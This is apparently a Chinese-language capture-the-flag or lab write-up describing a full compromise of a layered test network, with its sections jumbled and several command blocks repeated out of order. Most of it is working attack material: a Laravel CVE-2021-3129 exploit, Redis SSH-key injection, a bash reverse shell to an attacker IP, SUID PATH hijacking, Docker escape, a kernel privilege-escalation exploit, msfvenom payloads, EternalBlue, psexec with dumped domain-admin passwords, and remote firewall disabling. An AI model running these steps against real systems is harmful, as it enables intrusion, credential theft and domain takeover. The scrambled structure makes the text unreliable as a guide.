环境配置
DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动):
第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):
开始配置
至此 环境配置完成
sudo su
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
sudo su
service docker start
docker start 8e172820ac78
C:\MYOA\bin\AutoConfig.exe
域用户账户和密码如下:
Ubuntu 1:
Ubuntu 2:
通达OA账户(不重要):
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
web:web2021
ubuntu:ubuntu
admin:admin657260
Windows Server 2012 和 Windows 7(PC 2)都只配置了一个网卡,连接在 VMnet14 上连通第三层网络
Ubuntu(Web 2)和 Windows 7(PC 1)都配置了两个网卡,一个连接在 VMnet8 上连通第二层网络,一个连接在 VMnet14 上,设为仅主机模式,IP段设为 192.168.93.0/24 连通第三层网络
Ubuntu(Web 1)配置了两个网卡,一个桥接可以对外提供服务,IP段设为 192.168.43.0/24,一个连接在 VMnet8 上,设为NAT模式,IP段设为 192.168.52.0/24 连通第二层网络
DMZ区IP段为192.168.43.1/24 因为我这里是开热点打的 图用的网上的
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
DMZ区域
第二层网络区域
第三层网络区域
用户名密码
后面的网卡设置好就行
网络配置好了 还需要配置服务
添加93网段的路由
然后探测93网段存活机器
发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)
先扫端口 通过扫端口发现都开了445 那就测一测永恒之蓝
直接弹回会话了
第四台拿下 现在只剩下域控了 既然前面抓到了域管的密码 直接用psexec登录得了
失败了,应该是开了防火墙的原因。
没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:
连上了 然后来关防火墙
然后在次尝试psexec
拿下域控 到此拿下了所有机器
权限维持就不做了
后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set lport 8888
exploit
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.30 start unablefirewall
首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机
直接挂socks 进一步探测信息
发现有个8080端口 然后浏览器开启代理打开看看
发现是一个通达OA V11.3 然后直接通过exp直接上
上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell
然后上线msf
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
发现了一台30的机器
use auxiliary/server/socks_proxy
set srvhost 192.168.43.35
set version 4a socks版本
run
bunny:Bunny2021
administrator:Whoami2021
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.43.35
set lport 5555
run
上线之后进行内网信息收集
.
综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
然后迁移到64进程上进行抓密码
成功抓到域用户和域管理员的密码
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=4445 -f elf > ubuntu.elf
然后远程下载 发现是可以下载的 说明可以出网
如果这里不能出网的话就需要通过先把马子传到192.168.43.129上 然后在下载到52.20这一台上 这也的话 马子也需要重新生成 设置代理
cd /tmp
vim exploit.c #将下载的exploit.c内容粘贴到该文件中
gcc exploit.c -o exploit
chmod +x exploit
./exploit
提权成功 然后现在上线msf进行内网渗透
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
拿到了web,192.168.43.129;192.168.52.10
拿到了ubuntu,192.168.52.20;192.168.93.10
还是先把这个上线msf 以便后续操作
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.35 LPORT=3333 -f elf > web.elf
然后远程下载马子
然后msf开启监听
然后执行上线
因为开始第一步我们就将公钥写进去192.168.50.20了 是不是我们可以直接将kali的公钥下载到拿下的A机器 然后直接连接 但是还是要输入密码 很奇怪 按道理我看网上的有人是可以成功的 这里我没成功 就不管了
然后我重新试了一下 还是成功连上了 可能是因为我第一天关机了原因
重新通过第一步的shell写密钥到192.168.52.20上 然后下载kali的公钥连接上了
这里既然连接上了 就不用另一种方法了
但还是介绍一下另一种方法
我们通过redis拿下了192.168.43.129(192.168.52.10)这一台 这一台和192.168.52.20 有共同的网段的是可以直接连的 所以就可以通过shell弹一个会话到43.129这一台机器上 然后在这一台机器上进行docker提权以及 特权模式逃逸 直接在129这一台机器上生成密钥 然后写入到52.20中 然后连接进行逃逸
use exploit/multi/handler
set lhost 192.168.31.96
set lport 3333
set payload linux/x86/meterpreter/reverse_tcp
run
因为开始确确实实是把ssh公钥写入了 但是怎么会连不上哎 然后查看了下nginx的配置
发现了 nginx 反向代理的标志 proxy_pass
攻击的机器192.168.43.129(192.168.52.10)服务器上的 nginx 将 81 端口收到的请求转发给了 192.168.52.20,将 80 端口收到的请求转发给了 http://whoamianony.top
所以这个docker的宿主机的192.168.20.20上 就算公钥写进去了 但是连不上 不在同一个网段 那个是
如果说192.168.43.129(192.168.52.10)是A机器 192.168.52.20是B机器 docker是B1
那么我们开始用马子拿下的就是B中的B1 redis拿下的才是A
先安装redis-cli工具
然后连接
尝试用redis写入ssh公钥
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make //全局生效
cp src/redis-cli /usr/bin/
redis-cli -h 192.168.43.129
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
save #将数据保存在目标服务器硬盘上
ssh 192.168.213.188 #连接
直接连上了
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.43.129 -x set hello
ssh-keygen -t rsa
kali生成ssh公钥
将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
然后进入redis将公钥写入(这里redis要是不用root启,就不行)
先fdisk -l查看磁盘挂载
sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上
然后ls hack就可以看到宿主机部分文件
来到/hack/home/ubuntu下 可以看到有.ssh文件
那就可以写入密钥
先在kali中生成密钥 创建一个key文件
然后将密钥复制
然后写入目标的.ssh目录下
命令:cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys(我这里是切换到.ssh目录下复制的 因为我直接全路径不知道为什么失败)(后来发现是hack前面不需要/)
然后写入到authorized_keys里面
然后用kali连接ubuntu
但是发现还是需要密码 这就奇怪了
然后换思路 因为发现还有6379 有redis 所以从redis搞
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell# 然后就获得了root权限,可以执行命令了
命令:bash -c "bash -i >& /dev/tcp/192.168.43.35/1234 0>&1"
find / -perm -u=s -type f 2>/dev/null
https://github.com/BeichenDream/Godzilla下载地址
命令:git clone git://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git
22的ssh
80的nginx
81的Laravel
6379的redis
命令:nmap -T4 -A 192.168.31.132 -p 1-65535
拿到DMZ的ip:192.168.43.129 首先打开看看
空白啥都没有 但是网上的那些有blog不知道怎么回事 先不管 扫端口
扫出4个端口
因为80没东西 所以打开81看看
是一个Laravel v8.29.0(一个简洁、开源的 PHP Web 开发框架)
直接网上找找公开漏洞
发现是有漏洞的CVE-2021-3129 然后直接找exp打
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
克隆exp到kali
然后将里面默认的url改为目标192.168.43.129
然后克隆phpggc到exp目录下 因为需要同目录
命令:git clone git://github.com/ambionics/phpggc.git
然后执行命令:python3 exploit.py
然后改一下py脚本 改成任意执行命令
Vim打开脚本,首先在exploit.py开头import sys库
主函数改为如下内容(注意缩进)
args = sys.argv
url = args[1]
command = args[2]
Exp(url, command)
然后执行命令
然后写shell 但是用这个exp一直写不上 就换了一个exp
直接写shell的
然后用哥斯拉链接2.92版本的 3.03不知道为什么连不上
连上shell
首先判断当前环境和权限 发现有些命令无法执行 怀疑是在容器里面
判断是否为docker
确实是在docker里面 所以就需要进行docker逃逸
但是当前权限较低
所以需要进行提权 先通过命令来搜索具有SUID或4000权限的文件:
发现 /home/jobs/shell 文件比较特别 然后切换到目录看看
但是发现在哥斯拉执行的时候切换不了 不知道什么情况 那就先弹个会话到kali
然后在kali上试试能不能行
然后通过查看demo.c文件发现 是调用的ps命令且并未使用绝对路径
那么尝试更改$PATH来执行恶意程序,从而获得目标主机的 root 权限 shell
然后先弹个root的会话
然后使用特权模式进行docker逃逸
redis未授权
docker逃逸失败的原因
docker再次逃逸(柳暗花明)
所以到现在已经拿下了两台
但192.168.52.20是ubuntu用户权限不高 我们要得肯定是root最好 先进行信息收集看看能不能提权
14.04 刚好上次打靶场的时候遇到 这个版本可以提权用CVE-2021-3493
漏洞利用 exp 下载地址:https://github.com/briskets/CVE-2021-3493
漏洞影响版本:
直接将下载的exp的内容复制到 这台机器编译一个
先添加一个路由 这台是192.168.43.129
然后生成一个马子
然后下载执行上线
好了现在都上线了 开启socks代理探测内网
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.43.35
set lport 5555
run
上线之后进行内网信息收集
.
综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
然后迁移到64进程上进行抓密码
成功抓到域用户和域管理员的密码
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
bunny:Bunny2021
administrator:Whoami2021
use auxiliary/server/socks_proxy
set srvhost 192.168.43.35
set version 4a socks版本
run
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run
发现了一台30的机器
首先扫描一下第二层网络(192.168.52.0/24)是否有存活 windows 主机
直接挂socks 进一步探测信息
发现有个8080端口 然后浏览器开启代理打开看看
发现是一个通达OA V11.3 然后直接通过exp直接上
上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。成功获取到了shell
然后上线msf
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.43.35
set lport 5555
run
上线之后进行内网信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组
.
综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
然后迁移到64进程上进行抓密码
成功抓到域用户和域管理员的密码
bunny:Bunny2021
administrator:Whoami2021
添加93网段的路由
然后探测93网段存活机器
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
发现两台存活的windows 分别为DC(192.168.93.30)和PC2(192.168.93.40)
先扫端口 通过扫端口发现都开了445 那就测一测永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set lport 8888
exploit
直接弹回会话了
第四台拿下 现在只剩下域控了 既然前面抓到了域管的密码 直接用psexec登录得了
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
失败了,应该是开了防火墙的原因。
没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:
net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
连上了 然后来关防火墙
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.30 start unablefirewall
然后在次尝试psexec
拿下域控 到此拿下了所有机器
权限维持就不做了
后记 最后想了一下其他思路 因为第二层的网络是出网的所以可以直接上线cs 在cs上操作 也是可以的